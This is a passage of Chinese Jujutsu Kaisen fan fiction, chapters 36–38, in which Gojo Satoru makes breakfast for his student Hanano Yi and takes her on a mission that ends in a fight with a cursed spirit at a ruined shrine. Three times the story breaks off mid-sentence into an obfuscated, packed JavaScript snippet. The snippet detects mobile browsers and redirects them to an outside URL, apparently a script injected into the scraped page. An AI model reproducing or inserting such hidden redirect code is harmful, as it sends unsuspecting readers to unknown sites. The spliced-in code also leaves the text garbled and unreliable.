花野依跟在他身后,步伐比来的时候慢了许多,每走一步,衣摆就会在她的腿边晃来晃去,袖子也会甩来甩去。 她低下头,看着自己那双被长袖子盖住的、只露出指尖的手,忽然觉得有点好笑。 她把手从袖子里伸出来,像小孩子穿大人的衣服那样,只露出几根手指。 五条悟走在她前面半步的位置,白色的衬衫在路灯下泛着柔和的光。 夜风从背后吹过来,把他的衬衫吹得微微鼓起来,又在前面贴回去,勾勒出腰背的轮廓。 花野依落后他半步,踩着他的影子走,踩一下,跟一步,踩一下,跟一步。 路灯一盏一盏地往后退,把两个人的影子拉长又缩短,缩短又拉长。 36. 第三十六章 凌晨五点的天空阴沉得像是被谁泼了一盆洗过砚台的水,灰蒙蒙的。 云层压得很低,闷雷在云层深处滚动着,沉闷的、钝钝的声响,像是重物在地板上被一寸一寸地拖过去。 一道闪电干脆利落地劈下来,把整片天空撕开一道惨白的口子,紧接着雨就落下来了。 噼里啪啦地砸在车顶上、砸在车窗上、砸在柏油路面上,溅起一层白茫茫的水雾。 雨刷器开到了最大档,在挡风玻璃上左左右右地刮着,发出滋啦滋啦的声响,刚刮过去,新的雨点又密密麻麻地覆上来,怎么也刮不干净。 五条悟歪着头,把手机夹在肩膀和耳朵之间,腾出两只手来拆一个甜品的包装。 纸盒被他捏得窸窸窣窣地响,里面的奶油大概已经被挤得变了形,但他毫不在意,语气轻快 “……所以就麻烦七海海帮忙带一下悠仁啦!” 电话那头的七海建人此刻正捏着手机坐在自己家的床上,表情明显不太好。 他刚睡着不到三个小时,就被这通电话从深眠里拽了出来。 他的头发还有些乱,眼镜还没来得及戴,眼前的世界是模糊的,但那份无语和疲惫却清晰得像刀刻在脸上。 他平复了一下呼吸,又平复了一下,才开口问道: “你有给花野同学说这件事吗?关于花野同学之后是谁来带,你有想好人手吗?” “安心啦!” 五条悟咬了一口甜品,奶油大概糊在了嘴角,说话的声音含含糊糊的,带着一种让人想翻白眼的漫不经心。 “已经给花野依讲过这件事啦!至于之后是谁来带她,肯定是我这个最受欢迎的五条老师来啦!” 七海建人沉默了。 他太了解五条悟了,知道这个人做事从来不看别人的脸色,也知道他对待学生有他自己的一套方式。 但花野依那个孩子,七海想起她在医务室里给自己治疗时的样子,那样的孩子,跟在五条悟身边,真的合适吗? “恕我直言,” 七海开口,声音还是那种低沉的、不紧不慢的调子,但每个字都说得很清楚。 “花野同学是一个乖巧听话的学生,你的教育方式可能不太适合她。” 电话那头传来咀嚼的声音,然后是拍了拍什么的声响,大概是五条悟在拍手上的甜品屑。 他把手机从肩膀上拿下来,握在手里,声音清晰了许多:“我知道哦。我就是知道,所以才选择让她跟在我身边的。” 七海建人没有说话,窗外的雨声很大,噼噼啪啪地敲在玻璃上,像是有人在用指甲不停地弹。 他握着手机,听着那头的呼吸声,忽然轻轻叹了口气。 “你自己有分寸就好。” “OK!之后会让伊地知联系你的。” 五条悟说完,挂了电话,他把手机扔在旁边的座位上,转过头对着驾驶座上的伊地知嘱咐道: “伊地知,等会儿到了之后你就去接悠仁和七海汇合。” “好的。” 伊地知应了一声,透过后视镜看了一眼后座上那个又拆开一盒甜品的男人 “对了!” 五条悟像是想起了什么,嘴里还含着半块蛋糕,声音含含糊糊的。 “到时候你就跟着悠仁他们,不用来接我了。” “欸?” 伊地知的手在方向盘上滑了一下,“但是接下来五条先生你的任务……” “接下来的任务你发到我的手机上,我自己会知道做的。” 五条悟把最后一口蛋糕塞进嘴里,拍了拍手上的碎屑,整个人往后靠去,翘起二郎腿,懒散地陷进座椅里。 他转过头看向车窗外,雨水在玻璃上汇成一道道细流,扭曲了外面的街景。 路灯的光被拉成橘黄色的长条,建筑物的轮廓模糊得像是一团一团化开的水彩。 经过一家超市的时候,五条悟忽然出声:“在这里停一下。” “欸?这里吗?” 伊地知有些纠结地减慢了车速,看了看窗外那家亮着灯的、门口摆着几把湿漉漉的雨伞的超市。 “可是还没到……” “就在这里停下吧。” 五条悟的语气没有什么变化,还是那种轻飘飘的、不容置疑的调子。 他伸手拿过放在一边的雨伞,手指搭在伞柄上,等着车停。 “好、好的。” 伊地知把车靠边停下,雨刷器还在挡风玻璃上左右摇摆着,发出单调的、有节奏的声响。 五条悟推开车门,撑开伞,走了出去,雨点砸在伞面上,发出密集的、噼里啪啦的声响,像是有无数颗小石子被倾倒下来。 他转过身,弯腰对着车窗里的伊地知嘱咐道:“你先离开,不用管我。” 然后不等回答,砰的一声关上了车门,跨步走进了超市。 ———— 花野依是被一阵香味弄醒的。 那香味从门缝里钻进来,穿过卧室里昏暗的空气,绕到她鼻尖底下。 是黄油的香气,浓郁的、温暖的,混着鸡蛋和吐司被烘烤过的焦香,还有一点若有若无的甜。 她迷迷糊糊地睁开眼睛,窗外一片灰蒙蒙的,雨滴地用力打在玻璃上,像是有人在不停地往上面泼水。 房间里很暗,窗帘拉得严严实实,只有偶尔一道闪电划过,才会在窗帘的缝隙里漏进一瞬惨白的光,把整个房间照得亮如白昼,然后又暗下去。 她伸手摸到床头的手机,按亮屏幕,早上七点半。 屏幕上还有几条未读的消息,是七海先生发来的,问她昨天休息得怎么样,说任务的事不用着急。 她还没来得及回,又一阵香味飘过来,她的肚子很诚实地叫了一声。 花野依掀开被子下了床,耷拉着拖鞋,揉着眼睛,打着哈欠,迷迷糊糊地往门口走。 她的头发散着,有几缕翘在头顶,有几缕贴在脸颊边,整个人还带着没睡醒的慵懒和迟钝。 她打开卧室门,那股香味更浓了,黄油在热锅里滋滋作响的声音从厨房的方向传过来,还有锅铲翻动时碰触锅沿的清脆声响。 她走到厨房门口,看见一个人影站在灶台前。 “哦!你醒啦!” 五条悟的声音从那片暖黄色的灯光里传出来,带着轻快的调子。 他脱掉了那件深色的教师外套,只穿着内里的白色衬衫,围裙的系带在腰间打了一个松松的蝴蝶结。 袖口被挽到了小臂中段,露出前臂的肌肉线条,肌肉细长有力,随着动作微微起伏。 他一只手撑着腰,另一只手拿着锅铲,正在按压锅里的吐司,吐司的边缘煎得金黄酥脆,黄油在周围冒着细密的小泡,滋滋地响着。 “五条老师……” 花野依开口,声音沙沙的,低低的,带着刚睡醒时的含糊。 她的眼皮还有些红肿,是昨晚哭过之后留下的痕迹。 她眯着眼睛看向站在厨房里的五条悟,整个人还沉浸在一种半梦半醒的迟钝里。 五条悟没有回头。 他低着头看着锅里的吐司,预估了一下火候,又翻了翻另一面 “早餐马上就好了,你先去洗漱吧。” 他的声音从厨房里传出来,被油锅的滋滋声衬得有些模糊。 “哦,好” 花野依应了一声,声音轻轻的,像是梦还没做完。 她呆滞地转过身,往浴室的方向走,拖鞋在地板上拖出啪嗒啪嗒的声响,软绵绵的,像是脚底下踩着棉花。 五条悟没有转过头,但拥有三百六十度视角的六眼让他清清楚楚地“看见”了那个画面。 花野依人在前面走,魂在后面追,头发翘着,眼皮肿着,步伐虚浮得像是随时会被绊倒。 他忍不住扯了扯嘴角,把锅里的吐司铲起来,放进盘子里。 花野依洗漱完出来的时候,整个人清醒了不少。 冷水把脸上的浮肿压下去了一些。 她把头发用皮筋松松地系在脑后,几缕碎发从耳后滑出来,贴在脸颊和脖颈上,被水沾湿了,变成一小缕一小缕的深黑色。 餐桌上已经摆好了两份早餐,盘每份盘子里都有两片煎得金黄的吐司,上面淋着蜂蜜,在灯光下泛着琥珀色的光泽。 不同的是其中一份盘子里鸡蛋和培根的份量都很正常。 另一份则是双倍的鸡蛋和双倍的培根,堆在吐司旁边,几乎要把盘子占满。 五条悟坐在餐桌的一边,墨镜摘下来挂在胸前,露出那双苍蓝色的眼睛。 他把一杯果汁放在那份大份量的餐盘旁边,抬起头看向走过来的花野依:“来吃吧。” “好。” 花野依自然地坐在了那份正常份量的早餐前,拿起筷子,正准备夹起那片金黄的吐司。 一只手突然伸过来,握住了她面前的餐盘边缘,手指修长,指节分明,指甲修得很短很整齐。 餐盘被那只手轻轻一拉,从她面前滑走了,然后另一份盘子被推了过来,大份的,双倍鸡蛋双倍培根的那份。 “错了!” 五条悟把那杯果汁也推到她手边。 “这份才是你的早餐。” 花野依看了看自己面前堆得满满当当的盘子,又抬起头看了看对面的五条悟。 恶作剧吗? 她想,五条老师又在搞什么。 “恶作剧吗?”她问,筷子悬在半空,不知道该不该落下。 “不是哟!”五条悟笑嘻嘻地否认了,手肘撑在桌面上,手掌托着腮,歪着头看着她 “这是老师对你的特别关照,要好好享用!” 真的假的? 花野依有些为难地看着面前这座“小山”。 她平时的早餐量大概只有这个的二分之一,不,三分之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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培根煎得刚刚好,边缘微焦,咬下去是脆的,里面的油脂渗出来,咸香的,混着吐司上的蜂蜜,咸和甜在舌尖上交叠,意外地好吃。 五条悟没有再说话,他肘着脑袋,歪着头,看着对面正在埋头吃饭的花野依。 她的头发被系在脑后,露出后颈一小片素白的皮肤,在灯光下泛着柔和的、近乎透明的光泽。 眼皮还微微泛红,淡淡的粉色,像是谁用极细的笔蘸了一点胭脂,在她眼睑上轻轻点了一下,睫毛垂着,在脸颊上投下一小片扇形的阴影。 她吃东西的时候很安静,筷子夹起一小块培根,送进嘴里,咀嚼的时候嘴唇微微抿着,腮帮子随着咀嚼的动作轻轻动。 整个人还带着没睡醒的倦怠和疲惫,像是一只被从窝里拎出来的、还没完全清醒的小猫,迷迷糊糊地吃着东西,不知道自己在被看着。 他看着花野依埋着头、乖乖地吃着他做的早餐的样子,突然感觉这个画面好像还不错。 厨房里的灯是暖黄色的,窗外的雨声是嘈杂的,但餐桌这一小片地方是安静的、温暖的、被什么东西包裹住的。 他说不清那是什么,只是觉得—— “对了,” 他突然开口,打断了自己脑子里那些乱七八糟的念头,“我好像还不知道小依你喜欢什么。” 花野依从餐盘里抬起头,嘴里还含着一块没咽下去的培根,疑惑地看着他。 她嚼了嚼,咽下去,才开口:“我很喜欢五条老师给我做的早餐。” 五条悟双手在胸前比了一个叉,表情严肃得像是在纠正一个错误的答案。 “不是问这个!我是想知道你喜欢吃什么,喜欢喝什么,平时日常生活喜欢做什么打发时间。” 花野依沉默地嚼着培根,又嚼了一片,又喝了一口果汁,认真地思考了一会儿。 “喜欢吃饺子,”她开口,声音还是轻轻的,带着一点思考时的缓慢。 “肉馅的最好,还有披萨也喜欢,喜欢喝冰的饮料,什么口味都可以,平时……” 她顿了顿,筷子戳着盘子里剩下的一小块吐司 “平时在家里一般都是帮奶奶做事,买菜,打扫卫生,有时候帮她去邮局寄东西。” 她说完,又低下头继续对付盘子里剩下的食物。 “好普通——!” 五条悟有些遗憾地叹了口气,语气里带着一种“我还以为会听到什么更有趣的答案”的失望。 然后他像是想起了什么,语气忽然又变得轻快起来,像是在宣布一件理所当然的事。 “对了,待会儿吃完早饭,小依你要跟着我一起去做任务!” 花野依的筷子顿了一下。 她已经习惯了五条悟这种想一出是一出的行事风格,习惯到连惊讶的表情都懒得做了,但她还是在心里默默地吐槽了一句。 刚才还在问喜欢吃什么,下一秒就说要去做任务,这个人脑子里到底是怎么连线的? 她没有把这句话说出来,只是点了点头,继续把最后一块吐司塞进嘴里,含含糊糊地应了一声:“好。” 37. 第三十七章 上午十点,雨还在下。 五条悟不会开车。 这件事花野依是今天才知道的,得知的时候她愣了好一会儿,实在无法想象一个二十八岁的成年男性、号称最强的特级咒术师,居然连驾照都没有。 而任务地点又在十分偏僻的乡下,所以他们的行程变成了一场漫长的接力。 出租车转新干线,新干线转公交,公交转巴士,巴士转摩托。 最后,花野依和五条悟坐在一辆通往任务地点的牛车上,牛蹄踩在泥泞的山路上,一步一滑,慢悠悠地往前挪。 牛车的车板很窄,上面铺着一层稻草,稻草被雨淋得半湿,坐上去潮潮的、硬硬的。 五条悟长手长脚,一个人就占了大部分空间,两条腿伸出去,脚几乎要拖到地上。 花野依只好抱着自己的膝盖缩在一边,肩膀贴着车板的边缘,半个身子悬在外面。 天上还下着雨,雨不大,细细密密的,像是有人从天上往下筛面粉。 牛车上原本有一块用来遮雨的塑料膜,被风吹得哗哗响,花野依和五条悟一人拽着一个角,把塑料膜盖在身上,样子十分滑稽。 两个人像两只挤在窝里的鹌鹑,缩着脖子,弓着背,塑料膜在头顶鼓出一个包,雨水从边缘淌下来,汇成一道道细流。 花野依看着坐在自己旁边的五条悟,忍不住发出疑问,她的声音闷闷的,隔着塑料膜传出来,有些失真: “五条老师,为什么不打开无下限避雨?” “被看见的话解释起来太麻烦了,偶尔淋淋雨也不错。”五条悟解释道。 花野依打趣道:“老师你居然还是个文艺系!” 五条悟没有说话,他的膝盖几乎顶到了下巴,两条长腿折叠着,姿势别扭得像是被塞进了一个太小的箱子里。 但他毫不在意,甚至还翘起了二郎腿虽然翘起来的腿只能搭在车板的边缘,脚在雨里晃来晃去。 车子碾过一个土块,猛地颠簸了一下。 花野依没坐稳,整个人往后倒去,蜷缩着的身体失去了重心,像一颗被弹出去的石子。 慌乱中她伸出手胡乱抓了一把,指尖碰到了温热的东西。 是五条悟的手臂,她像抓住救命稻草一样攥住了那截衣袖,手指陷进布料里。 五条悟的手臂一扭,反手抓住了她的手掌。 他的手指很长,轻松地包住了她整只手,微微用力,把她往后倒的身体拽了回来。 力道不大不小,刚好够她稳住重心,不会摔下去,也不会被拽得往前扑。 他忍不住感叹,语气里带着一种夸张的、故意为之的震惊: “小依,你居然会被牛车颠倒?这也太弱了吧!” 花野依无视了五条悟的抱怨,坐稳之后松开手,重新把膝盖抱好。 她对着五条悟开了一个玩笑,声音轻轻的,带着一点自嘲的意味 “我就是这么弱,等以后我毕业了出任务,别人问我‘你这么弱,你老师是怎么教的’,我就说我的老师是五条悟。” 她说完,把下巴搁在膝盖上,等着看他的反应。 五条悟一脸复杂地看向她。 他的表情很奇怪,嘴角好像想往上翘,又好像想往下撇,眉毛微微拧着,苍蓝色的眼睛里闪烁着奇怪的神色。 他张了张嘴,又闭上,又张开,最后也开了一个玩笑,语气里轻松地打趣 “如果花野依毕业后还是这么弱的话,我就把你的学历信息挂在歌姬的名下,让歌姬当你的老师,反正她脾气好,不会跟我计较。” 花野依把脑袋靠在膝盖上,转过头不再理会五条悟。 她的后脑勺对着他,几缕碎发从耳后滑出来,被雨雾沾湿了,贴在后颈上,细细的,黑黑的。 “哼!” 她小声地哼了一声,声音很轻,几乎被雨声盖住,但尾音往上翘,像是在撒娇一样。 车前传来牛车主人的声音。 那个年迈的农民披着雨衣,雨衣的帽檐压得很低,只露出一张被风吹得干裂的、布满皱纹的脸。 他转过头看向花野依和五条悟,伸出一只手指着不远处的一个山头,手指在雨雾里有些模糊,但那个方向很清楚 “你们要找的山就在前面,顺着这条路一直走,看到一棵大樟树就左转,再走十来分钟就到了。” 五条悟和花野依道了谢,从牛车上跨下来。 五条悟先跳下去,撑着伞站在泥地里,伸手把花野依接下来。 花野依踩在湿软的泥地上,鞋底立刻陷进去半寸,发出“噗”的一声闷响。 她站在路边,看着牛车慢慢远去。 那个老农的背影在雨雾里越来越小,牛铃的声音叮叮当当的,被风吹散了,最后连车轱辘碾过泥地的声音也听不见了。 她转头看了一眼那座山,山不高,但很陡,被雨雾裹着,只能看见一个模糊的轮廓,山顶藏在灰白色的雾气里,像是被吞掉了。 她收回视线,转头看向旁边正在单手打字的五条悟。 他的伞歪在一边,雨水顺着伞骨滴落,砸在他的肩膀上,在白色衬衫上洇出一小片深色的水渍。 但他毫不在意,手指在屏幕上飞快地敲着,像是在回复什么消息。 “这次的任务是什么?”花野依问。 五条悟收回手机,揣进口袋里,语气平静,“只是一个一级任务。” 花野依有些惊讶地看着他,眉毛微微扬起。 “一个一级任务?特级的五条老师居然会被派来做一级任务?” 她的语气里带着不可思议的调侃。 五条悟一脸笑嘻嘻地看向她,雨水从他的伞沿滑下来,在他和花野依之间隔出一道细细的水帘。 “我待在山脚下,小依你先上去,找到这次的咒灵。” 他说这句话的时候语气很随意,随意到像是在说“你先上去看看风景,我在这儿等你”。 花野依有些疑惑地看着他,她张了张嘴,想问什么,但五条悟先开口了。 他伸手扯了扯戴在脸上的眼罩,把眼罩推到额头上,露出那双苍蓝色的眼睛。 雨伞边缘滴落的雨水落在他的睫毛上,他也不眨眼,他毫不在意,甚至像是根本没有注意到自己在淋雨。 他就那样看着她,语气认真了一些。 “这次的咒灵能力比较特殊和时间有关,这种咒术很稀有,就算是我,上次遇见也是在十年前了,这是一个再合适不过的教材!” 他说完,又大大咧咧地补了一句,语气里带着让人安心的笃定:“有我这个最强在,放宽心啦!” 花野依看着他,忍不住吐槽了一句:“我没有五条老师想的那么不安。” 说完,她叹了一口气,把伞往肩上靠了靠,转身向山上走去。 身后传来五条悟的声音,比刚才大了一些,像是怕雨声把话吞掉:“半个小时!如果小依还没找到那个咒灵,老师就上来!” 花野依撑着那把透明的雨伞,没有转头。 雨打在伞面上,噼噼啪啪的,像是有无数颗细小的珠子在跳。 她抬起手,朝身后挥了挥,语气平静得像是在说一件很确定的事:“我知道了。” 雨还在淅淅沥沥地下着。 花野依撑着透明雨伞走在山间的小路上。 路很窄,大概只够一个人走,两边的杂草长到了膝盖高,被雨打弯了腰,伏在地上,把路面遮得更窄了。 泥土被雨水泡得松软,脚踩上去就陷进去,拔出来的时候带着“啵”的一声。 她已经找了很久,鞋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471660|201513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底糊上了一层厚厚的泥,走起路来沉甸甸的,像是脚上绑了两个沙袋。 鞋子边缘也被溅起的泥水弄脏了,白色的帆布变成灰褐色,看不出原来的颜色。 一路上她都在感受咒灵留下的残秽。 很微弱,那些残秽断断续续的,有时候在一个岔路口消失了,她要在原地站好一会儿,才能重新捕捉到一丝若有若无的气息。 她沿着那些几乎要断掉的线索往前走,走过了好几条岔路,走过了几片被雨打得东倒西歪的灌木丛,走过了几棵被藤蔓缠住的老树。 眼看着半个小时就快过去了,她心里开始有些着急。 她停下脚步,站在一棵大樟树下,低头看着自己的影子。 “噗噗。”她轻声唤道。 脚下的影子开始波动,像是有人往一潭死水里投了一颗石子,涟漪从她的脚边荡开去,一圈一圈的,在泥地上画出浅浅的纹路。 噗噗从影子里冒出来,先是头顶那一片小叶子,然后是圆滚滚的脑袋,然后是短小的四肢。 它整个身子从影子里跳出来,落在泥地上,四只小短腿陷进泥里,身子晃了晃才站稳。 被叫醒的噗噗十分迷糊,它的眼睛半睁半闭着,头顶的叶子耷拉下来,像是还没睡醒的样子。 “噗叽……” 它发出一声含糊的、带着睡意的叫声,小爪子揉了揉脸,把泥巴糊了一脸。 花野依蹲下来,用手指轻轻戳了戳它的脑袋:“噗噗,帮我找到这次任务的咒灵。” 说完,噗噗四川张望起来,像是在闻残秽的气息。 噗噗的眼睛慢慢睁大了,头顶的叶子竖了起来,它四只小短腿在泥地上飞快地倒腾着,朝着一个方向跑去。 动作很果断,没有迟疑。 花野依跟在噗噗身后,踩着它踩过的脚印,穿过一片矮竹林,绕过一块长满青苔的大石头,拨开一丛被雨压弯的蕨类植物。 后她看见了,一座神社。 不,应该说是曾经的神社。 鸟居的柱子歪了,左边那根从中间裂开,用铁丝箍着,铁丝已经生了锈,被雨水泡得发红。 石阶上长满了青苔,青苔上面又落了一层枯叶,被雨泡得发烂,踩上去会渗出水来。 拜殿的屋顶塌了一半,瓦片碎了一地,露出来的椽子黑漆漆的,像是被火烧过,又像是被什么东西腐蚀过。 从神社深处传来的咒力气息很浓,浓到不需要刻意去感知,就能感觉到那股压迫感从里面往外渗,像是有什么东西在呼吸,一涨一缩的,把空气都搅浑了。 花野依蹲下来,用力揉了揉噗噗的脑袋。 她的手指陷进它软绵绵的身体里,揉得它整个脑袋都在晃。 “噗噗好厉害!太厉害了!超级厉害!” 她嘴里不断地夸赞着,声音因为高兴比平时大了不少。 噗噗被夸得很开心,头顶开出了一朵粉色的小花,花瓣薄薄的,被雨淋得有些蔫,但还是努力地绽放着。 它的小短腿忍不住缠住花野依的手臂,末端的须须扭来扭去,像是在跳舞。 “哟!” 耳边传来一个熟悉的声音,花野依转过头,就看见五条老师不知什么时候出现在了神社的鸟居下面。 他的眼罩挂在脖子上,露出那双苍蓝色的瞳孔,正盯着花野依面前的噗噗。 雨还在下,他没有撑伞,水珠隔着无下限,顺着发梢滴落,滑过颧骨,滑过下颌,滑过衬衫的领口,最后滴在泥土里。 他抬起手,朝着噗噗招了招,像是在跟一个认识很久的老朋友打招呼。 他的嘴角弯起来,语气里带着一种玩味的、饶有兴趣的调子:“这个家伙的能力,很有意思嘛!” 那双苍蓝色的眼睛在雨幕里亮得惊人。 38.第三十八章 “什么?” 花野依听着五条悟的话有些疑惑,不明白他为什么突然对噗噗表现出这么大的兴趣。 五条悟没有回答,径直走上前去,在噗噗面前蹲下身来。 那双能看穿一切的六眼观察着面前这个小小的、圆滚滚的咒灵。 雨水落在他的背上,被无下限隔开,水滴在无形的屏障上炸开,四溅的水花像被打碎的玻璃渣。 溅到了花野依的裙摆上,溅到她小腿袜和大腿之间那一小截裸露的皮肤上,凉凉的,带着一点轻微的凉意。 花野依伸出手抚去了腿上的水渍,手指碰到皮肤的时候才意识到自己的指尖也是凉的。 她往五条悟身边靠了靠,把手里的伞稍稍举高了一些,遮住了他的后背,那些四溅的水滴打在伞面上,噼啪啪啦的,被挡在了外面。 五条悟蹲在地上身体前倾,盯着噗噗看了好一会儿,他的声音压得很低,语气猜疑:“和吞噬不一样呢” 他说着,伸出食指戳了戳噗噗圆滚滚的肚子,噗噗被戳得晃了晃,发出一声迷糊的“噗叽”。 五条悟的手指没有收回来,就那样抵在噗噗柔软的肚皮上,感受着里面什么东西的律动。 “它没有完全消化掉那个特级咒灵。”他补充道,语气里带着笃定。 花野依愣了一下,最近噗噗确实一直很嗜睡,从影子里出来的时候总是迷迷糊糊的,有时候叫它好几声才有反应。 她有些担心地问:“是因为这个原因,所以噗噗才一直很嗜睡吗?” “嘛,待会儿就知道了!” 五条悟没有直接回答,站起身来,目光越过噗噗,看向那个破旧的神社。 鸟居歪斜着,拜殿的屋顶塌了一半,从外面看进去,里面黑洞洞的,什么都看不见,只有那股浓郁的咒力气息从黑暗中渗出来。 “这次的任务,也让噗噗参与吧!” 花野依点了点头,没有多问。 五条悟抬脚走进了神社的范围,脚下的木板发出年迈的吱呀声。 他头也不回地嘱咐道:“小依,跟着老师,不要走太远。” “知道了。” 花野依语气乖巧,打着伞跟在他右侧身旁,脚步轻轻的,尽量踩在他踩过的地方。 噗噗跟在她的脚后,小短腿在湿漉漉的木板上倒腾着,发出细微的啪嗒声。 走进神社内里的那一瞬间,五条悟忽然伸出手,握住了花野依的肩膀。 他的手掌很大,掌心温热,隔着被雨淋湿的校服贴在她的肩头上,像一块烙铁,把那股温热烙进她的皮肤里。 与此同时,他抬起左手,掌心朝向跟在花野依身后的噗噗,一股无形的吸力从掌心涌出。 噗噗还没来得及发出声音,就被那股力量吸了过去,稳稳地落进了五条悟的掌心里。 被握住肩膀的花野依身体微微一顿,下意识地收回了撑着的伞。 伞尖抵在破旧的木质地板上,发出轻微的叩响。 伞面上的水珠顺着伞骨的弧度往下淌,汇聚在伞尖,一滴一滴地落在地上,流进地板那些细密的、被岁月啃噬出来的缝隙里。 花野依抬起头,环顾四周。 神社的内部比外面看起来更加破败,屋顶的瓦片碎了大半,雨水从那些缺口里灌进来,在地板上积成大大小小的水洼,映着头顶灰白色的天光。 柱子上的红漆剥落殆尽,露出底下灰褐色的木头,木头表面长着一层薄薄的霉斑,在昏暗的光线里泛着暗绿色的光泽。 供桌翻倒在地,上面原本摆放的东西碎了一地,分不清是瓷器的碎片还是别的什么。 到处都在漏水,滴滴答答的,像是有人在头顶不停地敲着什么。 唯一与外面不同的是,这里的咒力残秽浓稠得像化不开的墨汁,在空气里缓慢地涌动,几乎能感觉到它贴在皮肤上的那种黏腻的触感。 她有些不解地看向旁边握住自己肩膀的五条悟。 她知道五条老师这么做一定有他的原因,但她不知道他为什么要这么“大动干戈”,是发现了什么吗? 脚下的老旧木板又发出一声吱呀,花野依警惕地往五条悟身边靠了靠。 “呀——这次真是大收获呢!” 耳边响起五条悟感慨的声音,语调上扬,带着像是猎人发现了猎物时的兴奋。 花野依转头看向他,他眼角带笑,嘴角微微上扬,那双苍蓝色的眼眸在昏暗的神社里亮得惊人,瞳孔里倒映着雨水和废墟。 他低头看着花野依,语气轻松得像是在课堂上随机提问学生的老师:“小依,你知道领域吗?” “知道。” 花野依点了点头。 “OK!” 五条悟语调又上扬了几分,手指在她肩膀上轻轻点了点 “现在老师开始提问!” 他毫不在意此刻的氛围,神社的破败、咒力的浓稠、那只不知道藏在哪里的特级咒灵。 全都被他抛在脑后,完全沉浸在了老师学生的扮演游戏中。 “第一个问题!面对领域需要怎么做?” “用领域打败领域或者打败领域的主人。” 花野依配合地回答,声音乖乖的,像是一个认真回答老师提问的好学生。 “嗯!嗯!” 五条悟骄傲地点了点头,像是在肯定花野依的认真学习,嘴角翘得更高了 “不愧是老师最喜欢的学生!看来有在认真听老师的课呢!” 不,老师你没有教过,这些是我自己在图书馆看的。 花野依在心里默默吐槽,但她没有说出来,只是安静地等着他的下一个问题。 “第二个问题!除了上面两个方法,还有什么方法可以对抗领域呢?” 他的语气里带着一种循循善诱的耐心,像是在引导一个聪明的学生自己去发现答案。 花野依稍稍思考了一下。 五条老师用的是“对抗”这个词。 如果是对抗的话,不需要正面硬碰,只需要能够撑住不被领域的效果影响,撑到有机会反击或者逃离…… 她想起在典籍里看到过的一个词,抬起头看向五条悟 “应该是简易领域吧?” “回答正确!” 五条悟的声音在她耳边炸开,响亮得像是要掀翻这破神社的屋顶。 花野依忍不住扭过头,耳根被他的声音震得有些发痒。 他还在那里兴高采烈地继续说着,语气里带着欣慰的、甚至是感动的调子。 “哎呀,既然学生这么优秀,作为老师的我也要好好工作才是!速战速决吧!” 接着,他的语气忽然一转,“小依,抱着老师。” “欸?” 花野依懵懵地转过头,以为自己听错了。 “抱着老师” 五条悟重复了一遍,语气没有变化,像是在说一件很自然的事情。 “哦,好、好的。” 花野依呆呆地应了一声,把伞丢在地上,伸出双手,环住了五条悟的腰身。 他的腰很窄,隔着衬衫能感觉到底下的肌肉是紧实的、微微绷着的。 她的手指不太知道该放在哪里,最后只是轻轻地搭在他的身侧,指尖碰到衬衫的布料,凉的,但底下的皮肤是温热的。 等她完全靠进他怀里的时候,她的额头抵在他的胸口,能听见他的心跳,稳定的,有力的,不快不慢。 五条悟挪开了放在她肩膀上的手。 然后他单手指向神社深处。 他的指尖亮起一道苍蓝色的光,那种能量的脉动,让整个神社都在颤抖。 “苍” 那粒苍蓝色的光团从他的指尖飞出,无声地,缓慢地,像是被风吹起的蒲公英种子。 它撞进了神社的深处,整座神社开始向内坍塌,像是被从四面八方的力量挤压着、揉搓着、吞食着。 柱子断了,屋顶碎了,地板翻了,瓦片和木头和那些不知道是什么的碎片被卷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17473872|201513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进那个苍蓝色的光球里,像是一张纸被揉成一团。 那个光球越来越大,越来越大,吞噬着周围的一切。 等它停下来的时候,神社已经变成了一片废墟。 只剩他们脚下这一小片地方还完整着,像是一个被遗忘的孤岛。 废墟的中央,有一只咒灵。 它的体型巨大,像一条被放大了无数倍的蠕虫,身体一节一节的,灰白色的,表面覆盖着一层黏腻的、反光的液体。 它蜷缩在废墟里,不知道哪一端是头哪一端是尾,有一个地方裂开了一道口子,从里面流出绿色的、黏稠的液体,液体滴在碎木头上,发出滋滋的腐蚀声。 它发出痛苦的吼叫,那声音不像是生物能发出来的,更像是什么东西在金属上摩擦,尖锐的,刺耳的,让人牙根发酸。 它开始挣扎,巨大的身体在废墟里扭动,把那些碎木头和瓦片搅得更碎。 在它身体周围,咒力在凝聚,在压缩,在编织成一个独立的、封闭的空间。 结界从它身上蔓延出来,像一张正在被织成的网,一圈一圈的,把它的身体包裹进去,把周围的空间包裹进去。 那是领域 “领域展开——” 五条悟的声音从花野依头顶传来,平静的,懒洋洋的,“无量空处” 他展开领域的那一瞬间,花野依觉得自己像是被抛进了宇宙的中心。 四面八方都是无限的、深邃的、让人眩晕的空间。 无数个光点,无数的、密集的、铺天盖地的光点,像是有人把整条银河打碎了,把碎片撒在她身边。 那些光点在旋转,在流动,在以一种她无法理解的规律排列着、重组着、演算着。 直到五条悟收回了领域。 那只咒灵呆呆地站在原地,一动不动,像是一台被拔掉了电源的机器。 “这是老师领域的效果。” 五条悟的声音从花野依头顶传来。 